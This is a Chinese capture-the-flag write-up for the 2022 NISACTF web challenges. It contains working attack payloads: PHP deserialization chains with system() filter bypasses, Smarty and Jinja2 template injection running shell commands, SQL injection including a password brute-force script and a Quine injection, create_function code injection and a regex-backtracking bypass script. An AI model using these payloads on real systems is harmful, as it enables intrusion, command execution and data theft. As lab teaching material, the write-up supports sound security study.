• 2022NISCTF--web


    easyssrf

    打开题目,显示的是

    尝试输入, 发现输入flag有东西

    读取文件

    访问下一个网站

    读取文件 不能以file开头 直接伪协议,base64解码

    checkIn

    奇怪的unicode编码

    当选中左边的时候右边也会被选中

    我们在vscode看看 这样的额

    展示的是UTF-16 三位16进制 转化一下UTF-8

    U+202E 0xE2 0x80 0xAE   %E2%80%AE
    U+2066 0xE2 0x81 0xA6   %E2%81%A6
    U+2069 0xE2 0x81 0xA9   %E2%81%A9
    
    • 1
    • 2
    • 3

    调整一下就好了

    payload

    ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF
    
    • 1

    level-up

    考点 hash强碰撞 parse_url函数漏洞 create_funcion函数代码执行

    打开题目,查看源码

    disallow 一般robots.txt里会有 查看一下,进入第二关

    第二关 md5 碰撞绕过

    array1=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%AC%F8%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45j%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3Xg%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%3F%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2AO%DFF%2A%F3%8BcH%FF%85%3F%0D%D0%9B%C7%C8-%12%92
    
    array2=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%ACx%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45%EA%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3%D8g%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%BF%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2A%CF%DEF%2A%F3%8BcH%FF%85%3F%0D%D0%9BG%C8-%12%92
    
    • 1
    • 2
    • 3

    进入第三关

    array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
    
    array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
    
    • 1
    • 2
    • 3

    进入第四关

    先了解一下parse_url函数:解析 URL,返回其组成部分

    • scheme - 如 http
    • host
    • port
    • user
    • pass
    • path
    • query - 在问号 ? 之后
    • fragment - 在散列符号 # 之后

    方法一、php传参解析:不规范的被转化为_;NI+ => NI_

    方法二、parse_url函数漏洞

    http://xxxx/xx.php?xx=xx   解析的query  为xx=xx
    http://xxxx///xx.php?xx=xx 解析的query  为NULL 就是解析不到query
    
    • 1
    • 2

    进入第五关

    ok 这个形式 形似之前我做的笔记,第二个参数会被当作命令执行

    考点应该是 create_function 方法

    分析该正则

    if(preg_match('/^[a-z0-9_]*$/isD',$a)){
        show_source(__FILE__);
    }
    
    • 1
    • 2
    • 3
    /i不区分大小写
    /s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]
    /D如果使用$限制结尾字符,则不允许结尾有换行;
    
    意思就是 匹配字母数字下划线开头的字符
    我们需要找到一个不以数字,字母,下划线等开头的value,同时可以正常执行函数
    可以是fuzz找 就是 ascii码32-126作为第一个参数 发请求 看响应 
    找到的是 \ 也就是 %5c
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    构造一下

    a=\create_function&b=;}phpinfo();/*
    
    • 1

    babyupload

    考点:python的os.path函数漏洞

    查看源码

    访问 下载源码

    Flask写的后端,上传的文件名不能有. 返回一个路径

    拼接路径 读取文件

    os.path漏洞

    所以说

    os.path("upload/",'/flag') => os.path('/flag')
    
    • 1

    一般来讲 flag都是在根目录下载flag 特别是这样的考点

    上传的文件名为 /flag 就会读取内容

    bingdundun~

    考点:phar伪协议读取压缩文件

    打开题目

    说的可以上传压缩包,我们制造一个压缩包木马 然后 phar 读取试试

    这里刚开始上传rar不可以 上传的zip

    写木马=>压缩成zip
    
    • 1

    执行成功,寻找flag

    babyserialize

    考点:反序列POC构造 system绕过

    一眼反序列化 打开题目为源码

    include "waf.php";
    class NISA{
        public $fun="show_me_flag";
        public $txw4ever;
        public function __wakeup()
        {
            if($this->fun=="show_me_flag"){
                hint();
            }
        }
    
        function __call($from,$val){
            $this->fun=$val[0];
        }
    
        public function __toString()
        {
            echo $this->fun;
            return " ";
        }
        public function __invoke()
        {
            checkcheck($this->txw4ever);
            @eval($this->txw4ever);
        }
    }
    
    class TianXiWei{
        public $ext;
        public $x;
        public function __wakeup()
        {
            $this->ext->nisa($this->x);
        }
    }
    
    class Ilovetxw{
        public $huang;
        public $su;
    
        public function __call($fun1,$arg){
            $this->huang->fun=$arg[0];
        }
    
        public function __toString(){
            $bb = $this->su;
            return $bb();
        }
    }
    
    class four{
        public $a="TXW4EVER";
        private $fun='abc';
    
        public function __set($name, $value)
        {
            $this->$name=$value;
            if ($this->fun = "sixsixsix"){
                strtolower($this->a);
            }
        }
    }
    
    if(isset($_GET['ser'])){
        @unserialize($_GET['ser']);
    }else{
        highlight_file(__FILE__);
    }
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70

    一步一步的分析

    # 这里可以先看看提示
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }
    
    # 构造
    ?ser=O:4:"NISA":2:{s:3:"fun";s:12:"show_me_flag";s:8:"txw4ever";N;}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    然后接着分析 先找到目的地

    # NISA类的
    # __invoke以函数的形式调用对象时触发
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
    
    # 发现  Ilovetxw类有 
    # $this->su=new NISA();
    # __toString 将对象当作字符串处理的时候触发
    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
    
    # 发现了两处
    # 1.NISA类的
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }
    
    # 2.four类的
    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    我们先根据第一处构造POC

    class NISA{
        public $fun;
        public $txw4ever;
    }
    
    class Ilovetxw{
        public $huang;
        public $su;
    }
    $a = new NISA();
    $b = new Ilovetxw();
    $b->su = $a;
    $a->txw4ever = "phpinfo();";
    $a->fun = $b;
    echo((serialize($a)));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    说明是对的不过被waf挡住了而已

    过滤了system

    命令执行函数system()绕过
    "\x73\x79\x73\x74\x65\x6d"("cat%20/flag");
    (sy.(st).em)(whoami);
    
    • 1
    • 2
    • 3

    最终的POC

    class NISA{
        public $fun;
        public $txw4ever;
    }
    
    class Ilovetxw{
        public $huang;
        public $su;
    }
    $a = new NISA();
    $b = new Ilovetxw();
    $b->su = $a;
    $a->txw4ever = '"\x73\x79\x73\x74\x65\x6d"("cat /f*");';
    $a->fun = $b;
    echo((serialize($a)));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    第二处构造POC

    # NISA类的
    # __invoke以函数的形式调用对象时触发
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
    
    # 发现  Ilovetxw类有 
    # $this->su=new NISA();
    # __toString 将对象当作字符串处理的时候触发
    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
    
    # 2.four类的
    # __set给不可访问 不存在的属性赋值时触发
    # $this->a=new Ilovetxw();
    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
    
    # Ilovetxw类的
    # $this->huang=new four();
    # __call调用不存在的方法触发
    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }
    
    # TianXiWei类的
    #  $this->ext=new Ilovetxw();
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    合起来构造

    class NISA{
        public $fun;
        public $txw4ever;
    }
    
    class TianXiWei{
        public $ext;
        public $x;
    }
    
    class Ilovetxw{
        public $huang;
        public $su;
    }
    
    class four{
        public $a;
        private $fun;
    }
    $a=new TianXiWei();
    $b=new Ilovetxw();
    $c=new four();
    $d=new NISA();
    $a->ext=$b;
    $b->huang=$c;
    $c->a=$b;
    $b->su=$d;
    $d->txw4ever="system('ls');";
    echo urlencode(serialize($a));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    也是成功的

    绕过

    class NISA{
        public $fun;
        public $txw4ever;
    }
    class TianXiWei{
        public $ext;
        public $x;
    }
    class Ilovetxw{
        public $huang;
        public $su;
    }
    class four{
        public $a;
        private $fun;
    }
    $a=new TianXiWei();
    $b=new Ilovetxw();
    $c=new four();
    $d=new NISA();
    
    $a->ext=$b;
    $b->huang=$c;
    $c->a=$b;
    $b->su=$d;
    $d->txw4ever="(sy.(st).em)('cat /f*');";
    
    echo urlencode(serialize($a));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    midlevel

    考点:Smarty SSTI

    打开题目显示了IP 肯定时根据xff显示的IP 所以我们的可控点就是xff 来到最后看到

    使用的是Smarty模板 考虑服务器模板注入

    Smarty的注入方式{if phpinfo()}{/if} 尝试一下

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CqCnZBPu-1667131050882)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221030160247518.png)]

    OK 已经出答案了

    X-Forwarded-For:{if system('nl /f*')}{/if}
    
    • 1


    join-us

    考点:join using 无列名注入

    访问登录页面,看到一个cat u get flag 输入框 试试sql注入

    有报错信息

    黑名单

    by updatexml database union columns = substr
    
    • 1

    爆数据库名

    这里一步一步的测试过滤什么的时候,发现了 泄露了表的名称

    在查询是 如果查询的列不存在 并且 没有关闭报错信息 可以查询一个不存在的列 这样会报错

    爆表名

    方法一、brup爆破

    这里忘记了考虑 过滤= like替换了 直接爆破 一般我们创建的表都是在最后的

    方法二、like替换=

    join using 爆破列名

    查出来Fal_flag有以下三列

    id
    data
    i_tell_u_this_is_Fal(se)_flag_is_in_another
    1'or/**/extractvalue(1,concat(0x7e,(select * from(select * from Fal_flag a join Fal_flag b using(id,data,i_tell_u_this_is_Fal(se)_flag_is_in_another))c),0x7e))--+
    
    • 1
    • 2
    • 3
    • 4

    提示不在这个表中 去看另外一个表

    {3bfb0ba4-dac9-425a-9e0f-cf2672d7afdd}
    
    • 1

    或者查data,结果都是一样的,配个mid 显示后面的

    is secret

    考点:RC4、SSTI

    打开之后 这样,让我们发现secret

    尝试 传参 /secret 等等 发现是/secret

    页面:

    意思就是给他secret 它返回加密的内容

    看 第一个加密时字母 其余的不可见 猜测可能加密的字符长度受限 试试看

    果然 泄露了敏感信息 分析一下

    • RC4 解密 密钥是 HereIsTreasure
    • render_template_string 渲染 存在 SSTI python的

    找一个RC4加密的脚本

    import base64
    from urllib import parse
    
    
    def rc4_main(key="init_key", message="init_message"):  # 返回加密后得内容
        s_box = rc4_init_sbox(key)
        crypt = str(rc4_excrypt(message, s_box))
        return crypt
    
    
    def rc4_init_sbox(key):
        s_box = list(range(256))
        j = 0
        for i in range(256):
            j = (j + s_box[i] + ord(key[i % len(key)])) % 256
            s_box[i], s_box[j] = s_box[j], s_box[i]
        return s_box
    
    
    def rc4_excrypt(plain, box):
        res = []
        i = j = 0
        for s in plain:
            i = (i + 1) % 256
            j = (j + box[i]) % 256
            box[i], box[j] = box[j], box[i]
            t = (box[i] + box[j]) % 256
            k = box[t]
            res.append(chr(ord(s) ^ k))
        cipher = "".join(res)
        return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    
    
    key = "HereIsTreasure"  # 此处为密文
    message = input("请输入明文:\n")
    enc_base64 = rc4_main(key, message)
    enc_init = str(base64.b64decode(enc_base64), 'utf-8')
    enc_url = parse.quote(enc_init)
    print("rc4加密后的url编码:" + enc_url)
    # print("rc4加密后的base64编码"+enc_base64)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    运行RC4 加密

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
    
    • 1

    ls换成cat /flag.txt

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()")}}{% endif %}{% endfor %}
    
    • 1

    popchains

    考点:反序列化链子构造、flag藏得位置

    class Road_is_Long{
        public $page;
        public $string;
        public function __construct($file='index.php'){
            $this->page = $file;
        }
        //3.$this->string=new  Make_a_Change
        // 把实例当作字符串处理触发
        public function __toString(){
            return $this->string->page;
        }
    
        public function __wakeup(){
            // 这里 
            if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
                echo "You can Not Enter 2022";
                $this->page = "index.php";
            }
        }
    }
    
    class Try_Work_Hard{
        protected  $var;
        # 终点
        public function append($value){
            include($value);
        }
        # 1.调用终点   __invoke 以函数形式调用时触发
        public function __invoke(){
            $this->append($this->var);
        }
    }
    
    class Make_a_Change{
        public $effort;
        public function __construct(){
            $this->effort = array();
        }
    	
        public function __get($key){
            // 2.  $this->effort=new Try_Work_Hard();
            //  __get 访问不存在 不可访问的属性触发
            $function = $this->effort;
            return $function();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46

    构造的POC

     
    class Road_is_Long{
        public $page;
        public $string;
        //3.$this->string=new  Make_a_Change
    }
    
    class Try_Work_Hard{
        protected  $var;
        function __construct(){
            $this->var="php://filter/convert.base64-encode/resource=flag.php";
        }
    }
    
    class Make_a_Change{
        public $effort;
        // 2.  $this->effort=new Try_Work_Hard();
        }
     //   $this->var="xx";
    $a = new Road_is_Long();
    $b=new Make_a_Change();
    $c=new Try_Work_Hard();
    $a->page = $a;
    $a->string=$b;
    $b->effort=$c;
    
    echo urlencode(serialize($a));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    先本地测试一下 我在同目录放了一个flag.php

    ok 是可以的

    试试看,没有显示 就怀疑是不是没有放在flag.php

    往常一样试试根目录 /flag /flag.php 一般就是给我们挖坑就不会改的特别离谱的名字

    最终的POC

    class Road_is_Long{
        public $page;
        public $string;
        //3.$this->string=new  Make_a_Change
    }
    class Try_Work_Hard{
        protected  $var;
        function __construct(){
            $this->var="php://filter/convert.base64-encode/resource=/flag";
        }
    }
    class Make_a_Change{
        public $effort;
        // 2.  $this->effort=new Try_Work_Hard();
        }
     //   $this->var="xx";
    $a = new Road_is_Long();
    $b=new Make_a_Change();
    $c=new Try_Work_Hard();
    $a->page = $a;
    $a->string=$b;
    $b->effort=$c;
    echo urlencode(serialize($a));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    这个比前一个反序列化要简单看来

    middlerce

    考点:PRCE绕过、RCE

    打开题目直接是源码

    include "check.php";
    if (isset($_REQUEST['letter'])){
        $txw4ever = $_REQUEST['letter'];
        if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
            die("再加把油喔");
        }
        else{
            $command = json_decode($txw4ever,true)['cmd'];
            checkdata($command);
            @eval($command);
        }
    }
    else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    看看这个正则

    ^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$ 
    .*直接匹配所有,但是后面表达式还是需要匹配 这样就会回溯 
    什么意思?
    就是如下图
    
    • 1
    • 2
    • 3
    • 4

    那么如果找不到会一直回溯寻找嘛?当然不会 PHP有个100w的次数限制,也就是当回溯100w次 preg_match 将不在寻找,返回为false

    注意 这里是false 0 √ false=0 ×

    所以在本题中 我们可以构造一个大于回溯个数的串造成逃逸

    看这里,是json解码之后的cmd内容,我们直接构造一个json串 python发送请求

    在尝试过程 system啥的被禁 我们可以闭合前一个 构造下一个php标签绕过

    $command = json_decode($txw4ever,true)['cmd'];
    // checkdata 过滤了一些命令 尝试绕过
    checkdata($command);
    @eval($command);
    
    • 1
    • 2
    • 3
    • 4

    如下

    import requests
    url = "http://1.14.71.254:28950/"
    # 直接构造json串
    '''
    注意细节:
    这样是不对的:'{"cmd":"?>;","overflow":'+"-"*1000000+'}' 
    因为:"overflow":'+"-"*1000000+'}' 这里拼接完成后 - 并没有引号包裹 导致错误  
    正确的应该给外层-加上引号 如'{"cmd":"?>;","overflow":"'+"-"*1000000+'"}' 
    
    因为-没有在正则的[]里面 所以可以使用
    '''
    data='{"cmd":"?>;","overflow":"'+"-"*1000000+'"}'
    resp = requests.post(url=url,data={"letter":data})
    print(resp.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    hardsql

    hint:给出了查询语句 Quine注入

    $password=$_POST['passwd'];
    $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
    
    • 1
    • 2

    打开题目给的是登录框

    在这里插入图片描述

    根据提示我们输入用户名bilala,但是密码不可知,先试试有什么黑名单

    黑名单

    空格
    =
    
    • 1
    • 2

    这里因为给了sql语句 我们可以尝试爆破密码

    前置知识

    like 可以替换 =
    在mysql中%相当于通配符 也就是Linux下的*
      -- 如果密码是dddxasdas 那么d%会匹配到
    
    • 1
    • 2
    • 3

    一般密码也就字母和数字

    import requests,time
    alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
    def get_pass():
        url = "http://1.14.71.254:28879/login.php"
        flag = ""
        while True:
            for i in alp:
                data={"username":"bilala","passwd":f"1'or/**/passwd/**/like/**/'{flag+i}%'#"}
                resp = requests.post(url=url,data=data)
                time.sleep(0.1)
                if "nothing found" not in resp.text:
                    flag+=i
                    print(flag)
                    break
                elif "~" in i:
                    return
    
    get_pass()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    跑出来的密码为:b2f2d15b3ae082ca29697d8dcd420fd7

    使用账号密码登录,给出源码

    //多加了亿点点过滤
    include_once("config.php");
    function alertMes($mes,$url){
        die("");
    }
    
    function checkSql($s) {
        if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
            alertMes('waf here', 'index.php');
        }
    }
    
    if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
        $username=$_POST['username'];
        $password=$_POST['passwd'];
        if ($username !== 'bilala') {
            alertMes('only bilala can login', 'index.php');
        }
        checkSql($password);
        $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
        $user_result=mysqli_query($MysqlLink,$sql);
        $row = mysqli_fetch_array($user_result);
        if (!$row) {
            alertMes('nothing found','index.php');
        }
        if ($row['passwd'] === $password) {
            if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
                show_source(__FILE__);
                die;
            }
            else{
                die($FLAG);
            }
        } else {
            alertMes("wrong password",'index.php');
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    发现过滤了

    if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|
    
    • 1

    发现了这个,我们要让密码存在为查询的密码而且还不能是数据库的那个 这里就是quine注入,就是保证输入的密码和输出相同,也就是输入的内容和就是我们构造的查询的内容

    if ($row['passwd'] === $password) {
        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
            show_source(__FILE__);
            die;
        }
        else{
            die($FLAG);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    这里我们拿出quine一般模板

    replace(replace('str',char(34),char(39)),char(46),'str')
    先将str中的双引号换成单引号,然后用str替换'str'中的.
    str的基本形式为
    就是将quine语句中的'str'部分换成"."(换成其他"!"等的也可以),然后其他地方的'换成"
    replace(replace(".",char(34),char(39)),char(46),".")
    这样嵌套起来就达到了输入输出的相同的目的
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    对于本题我们要先闭合前面的,然后联合执行

    过滤了:

    • 空格=>/**/替代
    • char=>chr或者0x替代
    1'union/**/select/**/replace(replace('str',chr(34),chr(39)),chr(46),'str')#
    str的内容就是:单引号替换为双引号 
    1"union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#
    和起来的payload
    1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

  • 相关阅读:
    Java中控制多线程顺序执行
    创建型-单例模式-实现和优缺点
    Spark案例实际操作
    4个独立通道或8非隔离ARINC825接口卡
    01 【Sass的安装使用】
    JAVA如何处理各种批量数据入库(BlockingQueue)
    练习题之打印图案
    stm32使用串口打印
    文档参考888
    12108 - Extraordinarily Tired Students (UVA)
  • 原文地址:https://blog.csdn.net/bossDDYY/article/details/127604008